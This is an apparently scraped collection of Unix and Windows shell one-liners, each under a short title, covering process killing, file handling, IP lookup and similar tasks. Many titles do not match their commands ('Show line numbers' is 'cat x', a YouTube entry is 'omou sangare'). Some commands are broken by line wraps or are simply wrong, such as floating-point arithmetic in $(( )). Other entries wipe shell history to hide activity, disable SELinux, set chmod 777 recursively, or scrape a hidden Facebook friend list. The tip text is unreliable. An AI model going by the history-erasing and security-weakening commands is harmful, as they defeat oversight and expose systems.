# Kill a bunch of processes with the same name
ps ax | grep <processname> | grep -v grep | awk '{print $1}' | sudo xargs kill -
9

# Helpful alias to grep for the PID.
alias pfind='ps aux | grep '

# read txt or txt.gz files
vim txt.gz

# Get non-printable keycode to bind keys in applications
cat > /dev/null

# Shorthand to install package in Ubuntu
alias install='sudo apt-get install'

# Access variables inside a - piped while - loop
while read line; do echo $line; done <<< "$var"

# Automation click every 4 second on a macro slot bar to world of warcraft for p
respecting item
while true; do sleep 4 ; xdotool click 1 ; done

# Wary of typing 'sudo apt-get install <pkgname>' ? Try a different way to insta
ll a package on Ubuntu
$ !! 2>&1 | `tail -1` (*NOTE: To be used ONLY after a command fails with Ubuntu
package suggestion*)

```

```
# Clear current session history
history -r

# convert .daa to .iso
poweriso convert image.daa -o image.iso -ot iso

# Searching files
find /dir/ -name *name*

# Convert HH:MM:SS into seconds
echo 00:29:36 | nawk -F: '{seconds=($1*60)*60; seconds=seconds+($2*60); seconds=seconds+$3; print seconds}'

# Kill a process with its name
pkill $1

# Get your external IP address
lynx --dump http://ip.boa.nu|sed -e 's/^[[:space:]]*//' -e 's/*[[[:space:]]$//'|g
rep -v ^$

# That's what she said
!tail

# Convert HH:MM:SS into seconds
date -d "1970/01/01 00:29:36 GMT" +%s

# Show directories in the PATH, one per line
print -l $path

# A faster ls
echo *

# Sneaky logout
rm ~/.bash_history && kill -9 $$

# Short one line while loop that outputs parameterized content from one file to
another
while read col1 col23; do echo $col1; done < three-column.txt > first-column.txt

# Echo several blank lines
jot -b '' 100

# Selecting a random file/folder of a folder
ls -1 | sort -R | sed -n 's/^/Selected /;lp'

# Open a list of files in VIM using separate terminal windows
find . -name "*.java" -exec gnome-terminal \-x vim {} \;

# Print just line 4 from a textfile
tail -n +4 | head -n 1

# Read directory contents recursively
ls -R .

# Sneaky logout
rm ~/.bash_history; ln -s /dev/null ~/.bash_history

# SELinux Status
```

getenforce

```
# vim display hex value char under cursor
ga
```

```
# To print a specific line from a file
tail -n +<N> <file> | head -n 1
```

```
# Count the total number of files in each immediate subdirectory
ps -ef | grep pmon
```

```
# "Reset" directories permissions
find . -type d -exec chmod 0755 {} \;
```

```
# show space used by postgres
while (( 1==1 )); do du -c . >> output.log; sleep 2; done; tail -f output.log
```

```
# sirve para ver la salida de un comando en pantalla y al mismo tiempo guardar l
a salida en un fichero
find / -name *.conf | tee salida
```

```
# Move files matching a certain pattern to another folder
find . | grep ".*\[[Church|CPYAF].*" | while read f; do mv "$f" ../emails;done
```

```
# Refresh profile file
. ~/.profile
```

```
# Creating a Maven project
mvn archetype:create -DgroupId=my.work -DartifactId=MyProject
```

```
# Convert CSV to TSV
perl -pe 's/,/\t/g' < report.csv > report.tsv
```

```
# ROT13 using the tr command
function rot13 { if [ -r $1 ]; then cat $1 | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; else echo $* | tr '[N-ZA-Mn-za-m5-90-4]' '[A-Za-z0-9]'; fi }
```

```
# replace text in all files in folder, into subfolder
mkdir replaced;for i in *; do cat "$i"| sed 's/foo/bar/' > "replaced/$i"; done
```

```
# egrep -r replacement for UNIX systems
find . -type f | xargs grep -l "string"
```

```
# Use md5 to generate a pretty hard to crack password
echo "A great password" | md5sum
```

```
# Glutton for punishment
''=~('(?{'.'(['_/@.*@'^'/])@^')..'('"/_/@/)--!.:@</:[@(:/:^'^'[@*]`>@@@@@^`[@_(`@_ _|')..'$/})')'
```

```
# Directory bookmarks
bm () { ... see description }
```

```
# search for and kill a process in one blow
ps aux|grep -i [p]rocessname|awk '{ print $2 }'|xargs kill
```

```
# Generate random password
dd bs=1 count=32 if=/dev/random 2> /dev/null | md5 | grep -o '\w*'
```

```
# search and run command in history
```

```
!?!192

# reload bash_profile
source ~/.bash_profile

# replace strings in file names
for i in $(find . -name *replaceme*);do mv "$i" "${i//replaceme/withme}"; done

# reloads sound when it stop playing
sudo alsactl force-reload

# Play newest or random YouTube video
omou sangare

# Edit Crontab
crontab -e

# List the size (in human readable form) of all sub folders from the current location
find . -maxdepth 1 -type d -not -name . -exec du -sh {} +

# Network Information
ntop

# floating point operations in shell scripts
echo $((3.0/5.0))

# View process statistics in realtime
top

# Kill a process by application
kill -9 `pgrep $PROCESS_NAME`

# Kill a daemon by name, not by PID
kill_daemon() { echo "Daemon?"; read dm; kill -15 $(netstat -atulpe | grep $dm | cut -d '/' -f1 | awk '{print $9}')} ; alias kd='kill_daemon'

# Print a list of installed Perl modules
dpkg-query -W | grep perl

# Using the 'beep' and 'clear' command in scripts
beep > beep.sh; clear > clear.sh

# Echo a command, then execute it
v () { echo "$@"; "$@"; }

# Post to twitter via curl, Windows version
FOR /f %%g in ('echo %1 ^| iconv -f gbk -t utf-8') DO curl -x proxy:port -u user:pass -d status=%%g -d source="cURL" http://twitter.com/statuses/update.xml

# sed -n "$LINE1,${LINE2}p;${LINEA2}q;" "$FILE"
Printing portion of a big file

# Random Beeps on Your PC Speaker
dd if=/dev/urandom of=/dev/speaker bs=1

# How many lines does the passwd file have?
awk 'END {print NR}' /etc/passwd
```

```
# Random Beeps on Your Audio Card's Output
dd if=/dev/urandom of=/dev/dsp

# doing some math...
echo 1+1|bc

# Get your public IP using chisono.it
curl icanhazip.com

# Kill process you don't know the PID of, when pidof and pgrep are not available
.
export var1=`ps -A | grep '[u]nique' | cut -d '?' -f 1`; echo${var1/ /}; kill -9
  $var1

# Concatenate lines of to files, one by one
join file1.txt file2.txt > file3.txt

# Refined repository search
apt-get search something | grep specific

# One-Liner to Display IP Addresses
python -c "import socket; print '\n'.join(socket.gethostbyname_ex(socket.gethost
name())[2])"
```

```
# What is my IP address?
curl whatismyip.org

# reverse-print contents of a file
nawk '{line[NR]=$0} END{for (; NR>=1; NR--){print line[NR]}}' FILENAME

# Display which distro is installed
test `uname` = Linux && lsb_release -a || ( test `uname` = SunOS && cat /etc/rel
ease || uname -rms )

# How to Disable SELinux
echo 0 >/selinux/enforce

# get kernel version
uname -a

# detected hardware and boot messages
sudo dmesg

# remove all dead symbolic links in a directory
for i in $(file * | grep broken | cut -d : -f 1); do rm $i; done

# Speak the last 3 tweets on Mac OS
curl -s -u user:password http://twitter.com/statuses/friends_timeline.rss | gre
p title | sed -ne 's/<\/*title>\/gp' | head -n 4 | say -v Bruce

# Upload file to remote server using SCP
scp -P 22 /home/svnlabs.txt root@92.178.0.56:/home/svnlabs.txt

# Search for all files that begin with . and delete them.
find ~/Desktop/ \( -regex '.*\/\..*' \) -print -exec rm -Rf {} \;
```

```
# Monitor server load as well as running MySQL processes
watch -n 1 uptime\;mysqladmin --user=<user> --password=<password> --verbose proce
sslist
```

```

# Kill any process with one command using program name
ps -ef | grep [j]boss | awk '{print $2}'|xargs kill -9

# Find only *.doc and *xls files on Windows partition
find Documents\ and\ Settings -iregex .+\.doc -or -iregex .+\.xls > office.lst

# Show All Symbolic (Soft) Links
ls -l | grep ^l

# Create a directory and cd into it
Dir=dirname; mkdir $Dir && cd $Dir

# Numerate files, rename files in a directory by incremental number
declare -i i=0 ; for file in * ; do i=${i+1} ; mv "$file" $i; done

# find all active ip?s in a subnet
FOR /L %i IN (1,1,254) DO ping -n 1 10.254.254.%i | FIND /i "Reply">> c:\ipaddres
ses.txt

# remove comment '#' in conf files.
grep -v ^# file.conf | grep -v ^$ > new_file.conf

# convert DOS newlines to unix newlines
sed 's/$//'

# Show line numbers in a text file
cat x

# Find broken symlinks
find . -type l | xargs file | grep broken

# Find out which version of linux you are running
cat /etc/*issue

# Check if Fail2Ban is Running
FAIL2BAN=`ps ax | grep fail2ban | grep -v grep | awk {'print $1'}` && if [ -n "$
FAIL2BAN" ]; then printf "\n[INFO] Fail2Ban is running and the PID is %s\n\n" $F
AIL2BAN; else printf "\n [INFO] Fail2Ban is not running\n\n"; fi

# alias to list hidden files of a folder
alias lh='ls -a | egrep "^\.'"

# grep: find in files
egrep -in "this|that" *.dat

# Salty detailed directory listing...
ls -saltS [dirname]

# play all songs under current directory smoothly as background job
nice -n0 ls | mpg321 -@- &

# Cute, but we already had this figured out when the Linux kids were still slurp
ing down log-sized spliffs in the back of the microbus.
ssh-keygen -R hostname

# Get My Public IP Address
lwp-dump http://www.boredomsoft.org/ip.php|grep Client

```

```
# Get colorful fortunes
cowsay `fortune` | toilet --metal -f term

# calculate the total size of files in specified directory (in Megabytes)
du -h <Directory>

# Recursive chmod all files and directories within the current directory
find . -name "*" -print0 | xargs -0 -I {} chmod 777 {}

# Read directory contents recursively
while read f;do echo "$f";done <<(find .)

# Get your external IP address
wget -O - -q ip.boa.nu

# Show the last movie/ebook that you have saw/read
ls -lAhutr

# Echo several blank lines
for i in `seq 1 100`;do echo;done

# byobu use
byobu

# Prefetch like apple devices
sudo apt-get install preload

# "Reset" file permissions
find . -type f -exec chmod 0644 {} \;

# Find different filetypes in current directory
find . -maxdepth 1 -type f -name '*.sh' -o -name '*.txt'

# Print only the odd lines of a file
awk '{if (NR % 2 == 1) print $0}' file.txt

# Equivalent of alias in cmd.exe: doskey (macros)
doskey l=dir /OD $*

# Check syntax of cron files (by restarting the service and checking the logs)
/etc/init.d/cron restart && tail -100 /var/log/syslog

# kill some pids without specific pid
kill -9 `ps aux | grep "search_criteria" | awk '{if ($2 != pid) print $2}'`

# Change password in list of xml files with for and sed
for i in `ls *xml`; do sed -e 's,oldpassword,newpassword,g' $i > $i.2 && mv -f $i.2 $i ; done

# See a list of ports running
netstat -an | grep -i listen

# Wordpress - download latest, extract, and rename config file.
alias wordpress='mkdir wordpress && cd wordpress && wget http://wordpress.org/la
test.tar.gz && tar -xvzf latest.tar.gz && mv wordpress/* . && rm -rf latest.tar.
gz wordpress && cp wp-config-sample.php wp-config.php'

# Get all IPs via ifconfig
ifconfig | grep "inet [[:alpha:]]\|+" | cut -d: -f2 | cut -d' ' -f2
```

```
# View facebook friend list [hidden or not hidden]
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?
ninatodorovic&__a=1' |gawk -F'\t\":"\'' -v RS='\",' 'RT{print $NF}' |grep -v '\\"
n\":"\'' |cut -d, -f2

# empty a file
echo > filename

# Install NMAP 5.0 ,Short and sweet command to do it
sudo wget -c "http://nmap.org/dist/nmap-5.00.tar.bz2" && bzip2 -cd nmap-5.00.tar
.bz2 | tar xvf - && cd nmap-5.00 && ./configure && make && sudo make install

# cleaning after python
find ~ -name "*.pyc" -exec rm {} \;

# find the difference in 2 files with grep (diff alternative)
grep -vf file1 file2
```